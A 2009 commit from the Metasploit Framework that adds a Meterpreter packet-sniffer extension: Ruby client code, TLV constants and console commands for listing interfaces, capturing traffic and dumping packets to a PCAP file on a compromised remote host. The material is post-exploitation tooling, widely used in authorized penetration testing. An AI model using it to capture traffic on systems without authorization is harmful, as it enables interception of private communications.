Adds the sniffer extension for testing

git-svn-id: file:///home/svn/framework3/trunk@6762 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-07-11 13:39:43 +00:00
parent 608ca7aae8
commit 82cf85680c
4 changed files with 273 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,107 @@
#!/usr/bin/env ruby
require 'rex/post/meterpreter/extensions/sniffer/tlv'
require 'rex/proto/smb/utils'
module Rex
module Post
module Meterpreter
module Extensions
module Sniffer
###
#
# This meterpreter extension can be used to capture remote traffic
#
###
class Sniffer < Extension
def initialize(client)
super(client, 'sniffer')
client.register_extension_aliases(
[
{
'name' => 'sniffer',
'ext' => self
},
])
end
# Enumerate the remote sniffable interfaces
def interfaces()
ifaces = []
ifacei = 0
request = Packet.create_request('sniffer_interfaces')
response = client.send_request(request)
response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p|
vals = p.tlvs.map{|x| x.value }
iface = { }
ikeys = %W{idx name description type mtu wireless usable dhcp}
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
ifaces << iface
}
return ifaces
end
# Start a packet capture on an opened interface
def capture_start(intf,maxp=200000)
request = Packet.create_request('sniffer_capture_start')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
response = client.send_request(request)
end
# Stop an active packet capture
def capture_stop(intf)
request = Packet.create_request('sniffer_capture_stop')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
response = client.send_request(request)
end
# Retrieve stats about a current capture
def capture_stats(intf)
request = Packet.create_request('sniffer_capture_stats')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
response = client.send_request(request)
{
'packets' => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
'bytes' => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
# Retrieve the packet dump for this capture
def capture_dump(intf)
request = Packet.create_request('sniffer_capture_dump')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
response = client.send_request(request)
res = {}
data = response.tlvs.map{|x| x.value}
data.shift # sniffer_capture_dump
data.shift # request id
data.pop # result code
# Grab the packet and byte count stats
res[:packet_count] = data.shift
res[:byte_count] = data.shift
res[:packets] = []
# Parse the packet queue
while(data.length > 3)
res[:packets] << {
:id => data.shift,
:time => Time.at(Rex::Proto::SMB::Utils.time_smb_to_unix(data.shift, data.shift)),
:data => data.shift
}
end
# Sort the packets by receive order
res[:packets].sort!{|a,b| a[:id] <=> b[:id]}
res
end
end
end; end; end; end; end

View File

@ -0,0 +1,24 @@
module Rex
module Post
module Meterpreter
module Extensions
module Sniffer
TLV_TYPE_EXTENSION_SNIFFER = 0
TLV_TYPE_SNIFFER_INTERFACES = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 1)
TLV_TYPE_SNIFFER_INTERFACE_ID = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 2)
TLV_TYPE_SNIFFER_INTERFACE_HANDLE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 3)
TLV_TYPE_SNIFFER_PACKET_COUNT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 4)
TLV_TYPE_SNIFFER_BYTE_COUNT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 5)
TLV_TYPE_SNIFFER_EXCLUDE_PORTS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 6)
TLV_TYPE_SNIFFER_INCLUDE_PORTS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 7)
TLV_TYPE_SNIFFER_PACKETS = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 8)
TLV_TYPE_SNIFFER_PACKET = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_SNIFFER + TLV_EXTENSIONS + 9)
end
end
end
end
end

View File

@ -0,0 +1,142 @@
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# Privilege escalation extension user interface.
#
###
class Console::CommandDispatcher::Sniffer
Klass = Console::CommandDispatcher::Sniffer
include Console::CommandDispatcher
#
# Initializes an instance of the sniffer command interaction.
#
def initialize(shell)
super
end
#
# List of supported commands.
#
def commands
{
"sniffer_interfaces" => "List all remote sniffable interfaces",
"sniffer_start" => "Capture packets on a previously opened interface",
"sniffer_stop" => "Stop packet captures on the specified interface",
"sniffer_stats" => "View statistics of an active capture",
"sniffer_dump" => "Retrieve captured packet data",
}
end
def cmd_sniffer_interfaces(*args)
ifaces = client.sniffer.interfaces()
print_line()
ifaces.each do |i|
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
i['idx'], i['description'],
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
)
end
print_line()
return true
end
def cmd_sniffer_start(*args)
intf = args[0].to_i
if (intf == 0)
print_error("Usage: sniffer_start [interface-id] [packet-buffer]")
return
end
maxp = args[1].to_i
maxp = 200000 if maxp == 0
client.sniffer.capture_start(intf, maxp)
print_status("Capture started on interface #{intf} (#{maxp} packet buffer)")
return true
end
def cmd_sniffer_stop(*args)
intf = args[0].to_i
if (intf == 0)
print_error("Usage: sniffer_stop [interface-id]")
return
end
client.sniffer.capture_stop(intf)
print_status("Capture stopped on interface #{intf}")
return true
end
def cmd_sniffer_stats(*args)
intf = args[0].to_i
if (intf == 0)
print_error("Usage: sniffer_stats [interface-id]")
return
end
stats = client.sniffer.capture_stats(intf)
print_status("Capture statistics for interface #{intf}")
stats.each_key do |k|
puts "\t#{k}: #{stats[k]}"
end
return true
end
def cmd_sniffer_dump(*args)
intf = args[0].to_i
if (intf == 0 or not args[1])
print_error("Usage: sniffer_dump [interface-id] [pcap-file]")
return
end
fd = nil
if(::File.exist?(args[1]) and ::File.size(args[1]) >= 24)
fd = ::File.new(args[1], 'ab+')
else
fd = ::File.new(args[1], 'wb+')
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
end
print_status("Dumping packets from interface #{intf}...")
res = client.sniffer.capture_dump(intf)
res[:packets].each do |pkt|
fd.write([pkt[:time].to_i, pkt[:time].usec, pkt[:data].length, pkt[:data].length].pack('NNNN') + pkt[:data])
end
# print_status("#{pkt[:id]} - #{pkt[:time].to_s} - #{pkt[:data].length}")
print_status("Wrote #{res[:packet_count]} packets to PCAP file #{args[1]}")
fd.close
return true
end
#
# Name for this dispatcher
# sni
def name
"Sniffer"
end
end
end
end
end
end